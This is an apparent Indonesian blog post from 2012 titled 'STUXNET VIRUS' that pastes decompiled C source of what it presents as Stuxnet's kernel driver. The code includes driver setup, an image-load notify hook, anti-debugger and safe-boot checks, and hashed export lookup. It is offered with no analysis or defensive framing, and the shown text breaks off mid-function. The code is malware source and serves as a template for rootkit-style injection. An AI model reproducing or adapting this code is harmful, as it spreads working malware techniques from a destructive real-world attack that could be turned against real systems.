9.17.2012

::|STUXNET VIRUS|::


::SourceCode::
Virus yg mengalahkan senjata nuklir

#include <windows.h>
#include <defs.h>

//-------------------------------------------------------------------------
// Data declarations

extern const WCHAR aSystemrootSyst[]; // idb
extern char dword_124C0[]; // idb
extern char dword_124D0[]; // idb
extern wchar_t aKernel32_dll[13]; // weak
// extern PBOOLEAN KdDebuggerEnabled;
// extern void *InitSafeBootMode; weak
extern int dword_12628; // weak
extern char byte_12630[]; // weak
extern _BYTE byte_12644[20]; // idb
extern int dword_12658; // weak
extern char a_text[6]; // weak
extern char aPage[5]; // weak
extern char asc_12678[2]; // weak
extern size_t dword_12680; // idb
extern int dword_12684; // weak
extern int dword_12688; // weak
extern int dword_1268C; // weak
extern int dword_12690; // weak
extern _UNKNOWN unk_12694; // weak
extern _UNKNOWN unk_12EB8; // weak
extern _UNKNOWN unk_14380; // weak
extern _UNKNOWN unk_14384; // weak
extern char byte_14390; // weak
extern int dword_14391; // weak
extern const WCHAR word_14395; // idb
extern const WCHAR word_1445D; // idb
extern const WCHAR word_14471; // idb
extern int dword_14539; // weak
extern int dword_1453D; // weak
extern const WCHAR SourceString; // idb
extern char byte_14614; // weak
extern char byte_14615; // weak
extern char byte_14616; // weak
extern char byte_14617; // weak
extern int dword_1461C; // weak
extern int dword_14620; // weak
extern int dword_14624; // weak
extern char byte_14628; // weak
extern RTL_GENERIC_TABLE Table; // idb
extern int dword_14654; // weak
extern char byte_14658; // weak
extern int dword_1465C; // weak
extern int dword_14660; // weak
extern char byte_14664; // weak
extern int dword_14668; // weak
extern struct _KMUTANT Mutex; // idb
extern int dword_1468C; // weak
extern int dword_14690; // weak
extern int dword_14694; // weak
extern int dword_14698; // weak
extern int dword_1469C; // weak
extern int dword_146A0; // weak
extern int dword_146A4; // weak
extern int dword_146A8; // weak
extern int dword_146AC; // weak
extern int dword_146B0; // weak

//-------------------------------------------------------------------------
// Function declarations

#define __thiscall __cdecl // Test compile in C mode

char __cdecl sub_10300();
void __stdcall DriverReinitializationRoutine(PDRIVER_OBJECT DriverObject, int a2, unsigned int a3);
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath);
int __stdcall sub_1048A(int a1);
int __cdecl sub_10542();
// int __usercall sub_1056C<eax>(int a1<esi>);
// int __userpurge sub_105A0<eax>(int a1<ebx>, SIZE_T a2<edi>, int a3<esi>, const void *a4);
// int __usercall sub_105E4<eax>(LSA_UNICODE_STRING *a1<ecx>, int a2<edi>, int a3<esi>);
ULONG __thiscall sub_10638(LSA_UNICODE_STRING *this, ULONG a2, int a3);
// void __userpurge sub_1076E(int a1<ebx>, PVOID *a2);
signed int __fastcall sub_107A2(int a1, int a2);
int *__cdecl sub_107E8();
bool __stdcall sub_10886(int a1);
int __stdcall sub_108BE(const char *a1);
int __cdecl sub_1098E();
// signed int __usercall sub_109B0<eax>(int a1<edi>);
int __cdecl sub_10A3A();
// int __usercall sub_10A8A<eax>(int a1<edi>, int *a2<esi>);
// int __usercall sub_10AE2<eax>(int a1<esi>);
// int __usercall sub_10B36<eax>(int a1<esi>);
int __thiscall sub_10B68(int this);
int __stdcall sub_10BA2(int, int); // weak
signed int __cdecl sub_10BE8();
// int __userpurge sub_10BEC<eax>(int a1<ebp>, int a2, int a3);
// signed int __usercall sub_10C22<eax>(int a1<eax>);
signed int __stdcall sub_10CFE(int a1, int a2);
// void __usercall sub_10D7E(int a1<eax>);
// int __usercall sub_10DA8<eax>(int a1<ecx>, int a2<edi>, int a3<esi>);
void __stdcall sub_10DCC(int a1, HANDLE Handle, int a3);
void __stdcall NotifyRoutine(int a1, HANDLE Handle, int a3);
// int __userpurge sub_10FC4<eax>(int result<eax>, int a2);
RTL_GENERIC_TABLE *__cdecl sub_10FE6();
// PVOID __usercall sub_11028<eax>(int a1<eax>, RTL_GENERIC_TABLE *a2<edi>);
// signed int __usercall sub_11066<eax>(int a1<eax>, RTL_GENERIC_TABLE *a2<edi>);
// signed int __userpurge sub_110C0<eax>(RTL_GENERIC_TABLE *a1<eax>, int *a2);
bool __stdcall CompareRoutine(int a1, int a2, int a3);
PVOID __stdcall AllocateRoutine(int a1, SIZE_T NumberOfBytes);
void __stdcall FreeRoutine(int a1, PVOID P);
// int __usercall sub_1118A<eax>(int a1<ebx>, int a2<esi>);
// int __userpurge sub_111B4<eax>(int a1<eax>, int a2<ebx>, int a3);
// signed int __userpurge sub_11242<eax>(int a1<eax>, int a2, int a3);
// PVOID __userpurge sub_113C2<eax>(int a1<edi>, int a2, int a3);
// void __userpurge sub_1141E(int a1<eax>, int a2<ecx>, int a3<ebx>, int a4, int a5);
void __fastcall sub_114EC(int a1, int a2, int a3, int a4, int a5);
LONG_PTR __stdcall sub_11522(int a1, int a2, int a3, int a4, int a5);
PVOID __stdcall sub_11578(int a1);
PVOID __stdcall sub_11598(int a1);
// signed int __userpurge sub_115CC<eax>(const void *a1<eax>, int a2<ebx>, int a3);
signed int __thiscall sub_11718(int this, int a2, const void *a3);
__int32 __stdcall sub_1174A(int a1, int a2);
// char __usercall sub_117A8<al>(WCHAR *a1<eax>, int a2<ecx>);
// PVOID __usercall sub_1182C<eax>(ULONG a1<esi>);
// int __usercall sub_11864<eax>(HANDLE *a1<edi>);
signed int __stdcall sub_118E2(unsigned int a1, int a2);
char __fastcall sub_119AE(int a1, int a2);
// char __usercall sub_11A08<al>(int a1<edi>);
// int __userpurge sub_11A4A<eax>(int a1<eax>, int a2<ebx>, unsigned int a3);
// const char *__usercall sub_11ABC<eax>(const char *result<eax>, int a2<ecx>);
int __stdcall sub_11B04(int a1, const char *a2, unsigned int a3, int a4, int a5);
int *__cdecl sub_11C14();
int __stdcall sub_11CCC(int a1);
char __stdcall sub_11D46(int a1, unsigned int a2);
// NTSTATUS __userpurge sub_11D62<eax>(LSA_UNICODE_STRING *a1<eax>, PUNICODE_STRING ValueName, int a3);
int __stdcall sub_11DD6(int, PUNICODE_STRING ValueName, int); // idb
// int __usercall sub_11EC6<eax>(char a1<al>, int a2<ecx>, unsigned int a3<esi>);
int __stdcall sub_11F42(int, int, HANDLE Handle); // idb
// int __userpurge sub_11FC0<eax>(int a1<esi>, int a2, int a3);
int __stdcall sub_12000(HANDLE Handle, PVOID ProcessInformation); // idb
// int __userpurge sub_12094<eax>(int a1<ebx>, int a2<edi>, int a3);
// LONG_PTR __usercall sub_120CC<eax>(PVOID Object<ecx>, LONG_PTR result<eax>);
int __cdecl sub_120DE(int a1);
int __cdecl sub_1210F(int a1, unsigned int a2);
// signed int __usercall sub_1216B<eax>(int a1<eax>, unsigned int a2<ebx>);
signed int __cdecl sub_121E1(int a1, int a2, int a3);
signed int __cdecl sub_122B3(int a1, unsigned int a2);
bool __cdecl sub_122D0(int a1, unsigned int a2, int a3, int a4);
// signed int __usercall sub_12323<eax>(unsigned int a1<eax>, int a2, int a3, unsigned __int16 a4);
signed int __cdecl sub_1236B(int a1, int a2);
// NTSTATUS __stdcall ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
// void *__cdecl memcpy(void *, const void *, size_t);
// void *__cdecl memset(void *, int, size_t);
// int _SEH_epilog(void); weak
int nullsub_1(); // weak
int nullsub_2(); // weak
int sub_124FE(); // weak
int nullsub_3(); // weak
// KIRQL __fastcall KfAcquireSpinLock(PKSPIN_LOCK SpinLock);
// KIRQL __stdcall KeGetCurrentIrql();
// void __fastcall KfReleaseSpinLock(PKSPIN_LOCK SpinLock, KIRQL NewIrql);
// NTSTATUS __stdcall ZwReadFile(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);
// NTSTATUS __stdcall ZwClose(HANDLE Handle);
// NTSTATUS __stdcall ZwOpenFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);
// NTSTATUS __stdcall ZwQueryInformationFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass);
// BOOLEAN __stdcall PsGetVersion(PULONG MajorVersion, PULONG MinorVersion, PULONG BuildNumber, PUNICODE_STRING CSDVersion);
// int __cdecl stricmp(const char *, const char *);
// NTSTATUS __stdcall PsSetLoadImageNotifyRoutine(PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine);
// PVOID __stdcall ExAllocatePool(POOL_TYPE PoolType, SIZE_T NumberOfBytes);
// void __fastcall IofCompleteRequest(PIRP Irp, CCHAR PriorityBoost);
// NTSTATUS __stdcall IoCreateDevice(PDRIVER_OBJECT DriverObject, ULONG DeviceExtensionSize, PUNICODE_STRING DeviceName, ULONG DeviceType, ULONG DeviceCharacteristics, BOOLEAN Exclusive, PDEVICE_OBJECT *DeviceObject);
// BOOLEAN __stdcall RtlDeleteElementGenericTable(PRTL_GENERIC_TABLE Table, PVOID Buffer);
// PKTHREAD __stdcall KeGetCurrentThread();
// PVOID __stdcall RtlLookupElementGenericTable(PRTL_GENERIC_TABLE Table, PVOID Buffer);
// void __stdcall RtlInitializeGenericTable(PRTL_GENERIC_TABLE Table, PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, PRTL_GENERIC_FREE_ROUTINE FreeRoutine, PVOID TableContext);
// PVOID __stdcall RtlInsertElementGenericTable(PRTL_GENERIC_TABLE Table, PVOID Buffer, CLONG BufferSize, PBOOLEAN NewElement);
// WCHAR __stdcall RtlUpcaseUnicodeChar(WCHAR SourceCharacter);
// NTSTATUS __stdcall ZwAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect);
// void __stdcall RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
// void __stdcall IoRegisterDriverReinitialization(PDRIVER_OBJECT DriverObject, PDRIVER_REINITIALIZE DriverReinitializationRoutine, PVOID Context);
// void __stdcall ExFreePoolWithTag(PVOID P, ULONG Tag);
// void __stdcall KeInitializeMutex(PRKMUTEX Mutex, ULONG Level);
// LONG __stdcall KeReleaseMutex(PRKMUTEX Mutex, BOOLEAN Wait);
// NTSTATUS __stdcall KeWaitForSingleObject(PVOID Object, KWAIT_REASON WaitReason, KPROCESSOR_MODE WaitMode, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
// NTSTATUS __stdcall ZwQueryValueKey(HANDLE KeyHandle, PUNICODE_STRING ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength);
// NTSTATUS __stdcall ZwOpenKey(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
// int __stdcall KeUnstackDetachProcess(_DWORD); weak
// int __stdcall KeStackAttachProcess(_DWORD, _DWORD); weak
// NTSTATUS __stdcall ZwQueryInformationProcess(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
// int __stdcall ObOpenObjectByPointer(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
// int __stdcall PsLookupProcessByProcessId(_DWORD, _DWORD); weak
// LONG_PTR __fastcall ObfDereferenceObject(PVOID Object);
// signed int __usercall sub_12A24<eax>(int a1<esi>);
signed int __cdecl sub_12A95(int a1);
// bool __usercall sub_12D37<eax>(int a1<eax>, int a2);
int __thiscall sub_12D71(void *this);
// signed int __usercall sub_13343<eax>(int a1<eax>, unsigned int a2);
// int __usercall sub_133BF<eax>(int a1<eax>, int a2, int a3);
// int __usercall sub_13409<eax>(int a1<eax>, int a2, int a3, int a4);
// int __usercall sub_1356E<eax>(unsigned int *a1<eax>, int a2<ebx>, int a3<edi>, int a4, int a5, int a6);
int __thiscall sub_1369C(void *this);
signed int __cdecl sub_136F8(int a1, int a2, int a3);
signed int __cdecl sub_138BE(int a1, unsigned int a2);
bool __cdecl sub_138DB(int a1, unsigned int a2, int a3, int a4);
int __cdecl sub_1392E(int a1);
// signed int __usercall sub_13A4B<eax>(unsigned int a1<eax>, int a2, int a3, unsigned __int16 a4);
// signed int __usercall sub_13B3A<eax>(int a1<eax>, unsigned int a2<ebx>);
// int __usercall sub_13BF1<eax>(unsigned int a1<eax>, int a2<ecx>, int a3, int a4, int a5);
// signed int __usercall sub_13C66<eax>(int a1<eax>, int a2<edx>, int a3<ecx>, unsigned int a4);
int __cdecl sub_13C92(int a1, char a2, int a3);
// int __usercall sub_13CC0<eax>(int a1<eax>, int a2<edx>);
// signed int __usercall sub_13D8E<eax>(int a1<eax>, int a2, int a3, unsigned int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD));


//----- (00010300) --------------------------------------------------------
char __cdecl sub_10300()
{
  LSA_UNICODE_STRING DestinationString; // [sp+8h] [bp-18h]@1
  char v2; // [sp+10h] [bp-10h]@1
  HANDLE Handle; // [sp+14h] [bp-Ch]@2
  int v4; // [sp+18h] [bp-8h]@1
  char v5; // [sp+1Fh] [bp-1h]@1

  RtlInitUnicodeString(&DestinationString, L"\\SystemRoot\\System32\\hal.dll");
  v4 = 0;
  sub_105E4(&DestinationString, (int)&v4, (int)&v2);
  v5 = v4 == 0;
  if ( v2 )
  {
    v2 = 0;
    ZwClose(Handle);
  }
  return v5;
}

//----- (0001034C) --------------------------------------------------------
void __stdcall DriverReinitializationRoutine(PDRIVER_OBJECT DriverObject, int a2, unsigned int a3)
{
  if ( !KeGetCurrentIrql() )
  {
    if ( a3 <= 0x65 )
    {
      if ( !sub_10542() )
      {
        if ( sub_10300() )
          sub_10A3A();
        else
          IoRegisterDriverReinitialization(DriverObject, DriverReinitializationRoutine, 0);
      }
    }
  }
}

//----- (000103AA) --------------------------------------------------------
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  signed int v2; // eax@2
  LSA_UNICODE_STRING DestinationString; // [sp+Ch] [bp-24h]@11
  unsigned int i; // [sp+14h] [bp-1Ch]@3
  CPPEH_RECORD ms_exc; // [sp+18h] [bp-18h]@1

  ms_exc.disabled = 0;
  dword_14624 = 128;
  dword_1461C = (int)ExAllocatePool(0, 0x200u);
  if ( dword_1461C )
  {
    byte_14628 = 1;
    for ( i = (unsigned int)&unk_14380; i < (unsigned int)&unk_14384; i += 4 )
    {
      if ( *(_DWORD *)i )
        (*(void (**)(void))i)();
    }
    v2 = 0;
  }
  else
  {
    v2 = -1073741823;
  }
  if ( !v2 )
  {
    if ( !sub_109B0((int)RegistryPath) )
    {
      RtlInitUnicodeString(&DestinationString, &SourceString);
      if ( !IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, (PDEVICE_OBJECT *)&RegistryPath) )
      {
        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10BA2;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_10BA2;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_10BA2;
        RegistryPath[3].Buffer = (PWSTR)((unsigned int)RegistryPath[3].Buffer & 0xFFFFFF7F);
        IoRegisterDriverReinitialization(DriverObject, (PDRIVER_REINITIALIZE)DriverReinitializationRoutine, 0);
      }
    }
  }
  return 0;
}
// 10BA2: using guessed type int __stdcall sub_10BA2(int, int);
// 1461C: using guessed type int dword_1461C;
// 14624: using guessed type int dword_14624;
// 14628: using guessed type char byte_14628;

//----- (0001048A) --------------------------------------------------------
int __stdcall sub_1048A(int a1)
{
  int v1; // edi@5
  int result; // eax@7
  int (*v3)(void); // edi@11
  int v4; // [sp+Ch] [bp-128h]@6
  __int16 v5; // [sp+120h] [bp-14h]@9
  int v6; // [sp+130h] [bp-4h]@3

  *(_BYTE *)a1 = 1;
  if ( !KeGetCurrentIrql() )
  {
    sub_1056C((int)&v6);
    if ( sub_10886(0) || sub_10886(1) )
      return 0;
    v1 = v6;
    if ( sub_10886(2) )
    {
      memset(&v4, 255, 0x11Cu);
      v4 = 284;
      if ( !*(_DWORD *)v1 )
        return -1073741823;
      result = (*(int (__stdcall **)(int *))v1)(&v4);
      if ( result )
        return result;
      if ( !v5 )
        return *(_DWORD *)(v1 + 4) != 0 ? 0xC0000001 : 0;
    }
    v3 = *(int (**)(void))(v1 + 4);
    if ( v3 )
    {
      if ( (unsigned __int8)v3() )
        *(_BYTE *)a1 = 0;
      return 0;
    }
    return -1073741823;
  }
  *(_BYTE *)a1 = 0;
  return 0;
}

//----- (00010542) --------------------------------------------------------
int __cdecl sub_10542()
{
  int result; // eax@1
  char v1; // [sp+7h] [bp-1h]@1

  v1 = 0;
  result = sub_1048A((int)&v1);
  if ( !result )
    result = (v1 != 0 ? 0x3FFFFFFF : 0) - 1073741823;
  return result;
}

//----- (0001056C) --------------------------------------------------------
int __usercall sub_1056C<eax>(int a1<esi>)
{
  int v1; // ecx@2

  *(_DWORD *)a1 = 0;
  if ( !(dword_146A4 & 1) )
  {
    dword_146A4 |= 1u;
    sub_107E8();
    sub_107A2(v1, (int)nullsub_1);
  }
  byte_14614 = 0;
  *(_DWORD *)a1 = &dword_14694;
  return a1;
}
// 124FA: using guessed type int nullsub_1();
// 14614: using guessed type char byte_14614;
// 14694: using guessed type int dword_14694;
// 146A4: using guessed type int dword_146A4;

//----- (000105A0) --------------------------------------------------------
int __userpurge sub_105A0<eax>(int a1<ebx>, SIZE_T a2<edi>, int a3<esi>, const void *a4)
{
  PVOID v4; // eax@1
  char v5; // zf@1

  v4 = ExAllocatePool(0, a2);
  v5 = *(_DWORD *)a1 == 0;
  *(_DWORD *)a3 = v4;
  *(_DWORD *)(a3 + 4) = a2;
  *(_DWORD *)(a3 + 8) = v4;
  *(_DWORD *)(a3 + 12) = a2;
  if ( v5 )
  {
    if ( *(_DWORD *)a3 )
    {
      if ( a4 )
        memcpy(*(void **)a3, a4, a2);
    }
    else
    {
      *(_DWORD *)a1 = -1073741823;
    }
  }
  return a3;
}

//----- (000105E4) --------------------------------------------------------
int __usercall sub_105E4<eax>(LSA_UNICODE_STRING *a1<ecx>, int a2<edi>, int a3<esi>)
{
  char v3; // zf@1
  NTSTATUS v4; // eax@2
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+8h] [bp-20h]@2
  struct _IO_STATUS_BLOCK IoStatusBlock; // [sp+20h] [bp-8h]@2

  v3 = *(_DWORD *)a2 == 0;
  *(_BYTE *)a3 = 0;
  *(_DWORD *)(a3 + 4) = 0;
  if ( v3 )
  {
    ObjectAttributes.ObjectName = a1;
    ObjectAttributes.Length = 24;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 576;
    ObjectAttributes.SecurityDescriptor = 0;
    ObjectAttributes.SecurityQualityOfService = 0;
    v4 = ZwOpenFile((PHANDLE)(a3 + 4), 0x80100000u, &ObjectAttributes, &IoStatusBlock, 1u, 0x60u);
    *(_DWORD *)a2 = v4;
    *(_BYTE *)a3 = v4 == 0;
  }
  return a3;
}

//----- (00010638) --------------------------------------------------------
ULONG __thiscall sub_10638(LSA_UNICODE_STRING *this, ULONG a2, int a3)
{
  char v3; // bl@1
  ULONG result; // eax@4
  HANDLE v5; // ecx@6
  ULONG v6; // edi@6
  ULONG v7; // esi@6
  NTSTATUS v8; // eax@7
  int v9; // eax@17
  int v10; // eax@18
  void **v11; // eax@21
  void *v12; // eax@22
  char FileInformation; // [sp+10h] [bp-28h]@7
  ULONG v14; // [sp+18h] [bp-20h]@7
  void *v15; // [sp+1Ch] [bp-1Ch]@7
  ULONG Length; // [sp+28h] [bp-10h]@1
  HANDLE Handle; // [sp+2Ch] [bp-Ch]@3
  struct _IO_STATUS_BLOCK IoStatusBlock; // [sp+30h] [bp-8h]@1

  v3 = 0;
  IoStatusBlock.Information = 0;
  sub_105E4(this, (int)&IoStatusBlock.Information, (int)&Length);
  if ( IoStatusBlock.Information )
    goto LABEL_2;
  if ( (_BYTE)Length )
  {
    v8 = ZwQueryInformationFile(Handle, &IoStatusBlock, &FileInformation, 0x18u, FileStandardInformation);
    v6 = v14;
    v5 = v15;
    v7 = v8;
  }
  else
  {
    v5 = Handle;
    v6 = Length;
    v7 = -1073741823;
  }
  IoStatusBlock.Information = v7;
  if ( v7 )
    goto LABEL_9;
  if ( v5 || v6 > a2 )
    goto LABEL_31;
  v9 = (int)ExAllocatePool(0, 0x10u);
  if ( v9 )
    v10 = sub_105A0((int)&IoStatusBlock.Information, v6, v9, 0);
  else
    v10 = 0;
  sub_1076E(a3, (PVOID *)v10);
  v3 = 0;
  if ( IoStatusBlock.Information )
  {
LABEL_2:
    if ( (_BYTE)Length != v3 )
    {
      LOBYTE(Length) = v3;
      ZwClose(Handle);
    }
    return IoStatusBlock.Information;
  }
  v11 = *(void ***)(a3 + 4);
  if ( !v11 )
    goto LABEL_31;
  v12 = *v11;
  if ( !(_BYTE)Length )
    return -1073741823;
  v7 = ZwReadFile(Handle, 0, 0, 0, &IoStatusBlock, v12, v6, 0, 0);
  if ( v7 )
  {
LABEL_9:
    if ( (_BYTE)Length != v3 )
    {
      LOBYTE(Length) = v3;
      ZwClose(Handle);
    }
    return v7;
  }
  if ( IoStatusBlock.Information != v6 )
  {
LABEL_31:
    if ( (_BYTE)Length != v3 )
    {
      LOBYTE(Length) = v3;
      ZwClose(Handle);
    }
    result = -1073741823;
  }
  else
  {
    if ( (_BYTE)Length )
    {
      LOBYTE(Length) = 0;
      ZwClose(Handle);
    }
    result = 0;
  }
  return result;
}

//----- (0001076E) --------------------------------------------------------
void __userpurge sub_1076E(int a1<ebx>, PVOID *a2)
{
  PVOID *v2; // esi@1

  v2 = *(PVOID **)(a1 + 4);
  if ( a2 != v2 )
  {
    if ( v2 )
    {
      if ( *v2 )
        ExFreePoolWithTag(*v2, 0);
      ExFreePoolWithTag(v2, 0);
    }
    *(_DWORD *)(a1 + 4) = a2;
  }
}

//----- (000107A2) --------------------------------------------------------
signed int __fastcall sub_107A2(int a1, int a2)
{
  signed int result; // eax@5

  if ( !byte_14628 )
    goto LABEL_9;
  if ( !dword_1461C )
    goto LABEL_9;
  if ( dword_14624 <= dword_14620 )
    goto LABEL_9;
  _ECX = &dword_14620;
  _EAX = 1;
  __asm { lock xadd [ecx], eax }
  if ( dword_14624 > _EAX )
  {
    *(_DWORD *)(dword_1461C + 4 * _EAX) = a2;
    result = 0;
  }
  else
  {
LABEL_9:
    result = 1;
  }
  return result;
}
// 1461C: using guessed type int dword_1461C;
// 14620: using guessed type int dword_14620;
// 14624: using guessed type int dword_14624;
// 14628: using guessed type char byte_14628;

//----- (000107E8) --------------------------------------------------------
int *__cdecl sub_107E8()
{
  int v0; // eax@2
  char v2; // [sp+4h] [bp-20h]@3

  dword_14694 = 0;
  dword_14698 = 0;
  dword_1469C = 0;
  dword_146A0 = 0;
  if ( !sub_10886(0) )
  {
    v0 = sub_1098E();
    if ( v0 )
    {
      if ( !sub_121E1((int)&v2, v0, 1) )
      {
        dword_14694 = sub_1236B((int)&v2, -899745608);
        dword_14698 = sub_1236B((int)&v2, -1332885072);
        dword_1469C = sub_1236B((int)&v2, -2007787012);
        dword_146A0 = sub_1236B((int)&v2, 1516803388);
      }
    }
  }
  return &dword_14694;
}
// 14694: using guessed type int dword_14694;
// 14698: using guessed type int dword_14698;
// 1469C: using guessed type int dword_1469C;
// 146A0: using guessed type int dword_146A0;

//----- (00010886) --------------------------------------------------------
bool __stdcall sub_10886(int a1)
{
  ULONG MinorVersion; // [sp+0h] [bp-8h]@1
  ULONG MajorVersion; // [sp+4h] [bp-4h]@1

  MajorVersion = 0;
  MinorVersion = 0;
  PsGetVersion(&MajorVersion, &MinorVersion, 0, 0);
  return MajorVersion == 5 && a1 == MinorVersion;
}

//----- (000108BE) --------------------------------------------------------
int __stdcall sub_108BE(const char *a1)
{
  ULONG v1; // edi@3
  PVOID v2; // esi@6
  int v4; // edi@17
  PVOID v5; // [sp-8h] [bp-3Ch]@5
  ULONG v6; // [sp-4h] [bp-38h]@5
  PVOID P; // [sp+10h] [bp-24h]@3
  int SystemInformation; // [sp+20h] [bp-14h]@1
  char *v9; // [sp+24h] [bp-10h]@3
  int v10; // [sp+28h] [bp-Ch]@13
  ULONG SystemInformationLength; // [sp+2Ch] [bp-8h]@1

  SystemInformationLength = 0;
  SystemInformation = 0;
  if ( ZwQuerySystemInformation(SystemModuleInformation, &SystemInformation, 0, &SystemInformationLength) != -1073741820
    || !SystemInformationLength )
    return 0;
  v9 = 0;
  sub_105A0((int)&v9, SystemInformationLength, (int)&P, 0);
  v1 = 0;
  if ( v9 )
  {
    if ( P )
    {
      v6 = 0;
      v5 = P;
LABEL_9:
      ExFreePoolWithTag(v5, v6);
    }
    return 0;
  }
  v2 = P;
  if ( ZwQuerySystemInformation(SystemModuleInformation, P, SystemInformationLength, (PULONG)&SystemInformation) )
  {
    if ( !v2 )
      return 0;
LABEL_8:
    v6 = v1;
    v5 = v2;
    goto LABEL_9;
  }
  if ( *(_DWORD *)v2 <= 0u )
    goto LABEL_8;
  v10 = 0;
  v9 = (char *)v2 + 30;
  while ( stricmp((const char *)v2 + v10 + *(_WORD *)v9 + 32, a1) )
  {
    v10 += 284;
    v9 += 284;
    ++v1;
    if ( v1 >= *(_DWORD *)v2 )
    {
      v1 = 0;
      goto LABEL_8;
    }
  }
  v4 = *((_DWORD *)v2 + 71 * v1 + 3);
  ExFreePoolWithTag(v2, 0);
  return v4;
}

//----- (0001098E) --------------------------------------------------------
int __cdecl sub_1098E()
{
  int result; // eax@1

  result = sub_108BE(dword_124C0);
  if ( !result )
    result = sub_108BE(dword_124D0);
  return result;
}

//----- (000109B0) --------------------------------------------------------
signed int __usercall sub_109B0<eax>(int a1<edi>)
{
  signed int result; // eax@8

  if ( byte_14390 )
  {
    sub_11EC6(0, (int)&dword_14391, 0x278u);
    byte_14390 = 0;
  }
  if ( !word_14395 )
  {
    if ( (unsigned int)*(_WORD *)a1 + 2 <= 0xC8 )
    {
      memset((void *)&word_14395, 0, 0xC8u);
      memcpy((void *)&word_14395, *(const void **)(a1 + 4), *(_WORD *)a1);
    }
  }
  if ( dword_14391 & 1 && InitSafeBootMode || dword_14391 & 2 && (_BYTE)KdDebuggerEnabled )
    result = -1073741823;
  else
    result = 0;
  return result;
}
// 125E4: using guessed type void *InitSafeBootMode;
// 14390: using guessed type char byte_14390;
// 14391: using guessed type int dword_14391;

//----- (00010A3A) --------------------------------------------------------
int __cdecl sub_10A3A()
{
  int result; // eax@1
  char v1; // [sp+8h] [bp-8h]@1
  int v2; // [sp+Ch] [bp-4h]@1

  v2 = 0;
  sub_10A8A((int)&v1, &v2);
  result = v2;
  if ( !v2 )
  {
    sub_10AE2((int)&v2);
    result = sub_10C22(v2);
    if ( !result )
    {
      sub_10B36((int)&v1);
      sub_1056C((int)&v1);
      result = PsSetLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)NotifyRoutine);
    }
  }
  return result;
}

//----- (00010A8A) --------------------------------------------------------
int __usercall sub_10A8A<eax>(int a1<edi>, int *a2<esi>)
{
  int v2; // eax@2
  int v3; // ecx@4

  *(_DWORD *)a1 = 0;
  if ( !(dword_146B0 & 1) )
  {
    v2 = *a2;
    dword_146B0 |= 1u;
    dword_146AC = v2;
  }
  if ( !(dword_146B0 & 2) )
  {
    dword_146B0 |= 2u;
    sub_11C14();
    sub_107A2(v3, (int)nullsub_3);
  }
  if ( dword_146AC )
    *a2 = dword_146AC;
  else
    *(_DWORD *)a1 = &dword_146A8;
  byte_14615 = 0;
  return a1;
}
// 12508: using guessed type int nullsub_3();
// 14615: using guessed type char byte_14615;
// 146A8: using guessed type int dword_146A8;
// 146AC: using guessed type int dword_146AC;
// 146B0: using guessed type int dword_146B0;

//----- (00010AE2) --------------------------------------------------------
int __usercall sub_10AE2<eax>(int a1<esi>)
{
  int v1; // ecx@2

  *(_DWORD *)a1 = 0;
  if ( !(dword_14690 & 1) )
  {
    dword_14668 = 0;
    dword_14690 |= 1u;
    byte_14664 = 1;
    memset(&Mutex, 0, sizeof(Mutex));
    KeInitializeMutex(&Mutex, 0);
    sub_107A2(v1, (int)sub_124FE);
  }
  byte_14616 = 0;
  *(_DWORD *)a1 = &byte_14664;
  return a1;
}
// 124FE: using guessed type int sub_124FE();
// 14616: using guessed type char byte_14616;
// 14664: using guessed type char byte_14664;
// 14668: using guessed type int dword_14668;
// 14690: using guessed type int dword_14690;

//----- (00010B36) --------------------------------------------------------
int __usercall sub_10B36<eax>(int a1<esi>)
{
  int v1; // ecx@2

  *(_DWORD *)a1 = 0;
  if ( !(dword_1468C & 1) )
  {
    dword_1468C |= 1u;
    sub_10FE6();
    sub_107A2(v1, (int)nullsub_2);
  }
  byte_14617 = 0;
  *(_DWORD *)a1 = &Table;
  return a1;
}
// 124FC: using guessed type int nullsub_2();
// 14617: using guessed type char byte_14617;
// 1468C: using guessed type int dword_1468C;

//----- (00010B68) --------------------------------------------------------
int __thiscall sub_10B68(int this)
{
  int result; // eax@3
  int v2; // [sp+0h] [bp-4h]@1

  v2 = this;
  if ( *(_DWORD *)(*(_DWORD *)(this + 96) + 12) == 2242560 )
  {
    result = sub_11CCC(this);
  }
  else
  {
    if ( *(_DWORD *)(*(_DWORD *)(this + 96) + 12) == 2242564 )
    {
      sub_10AE2((int)&v2);
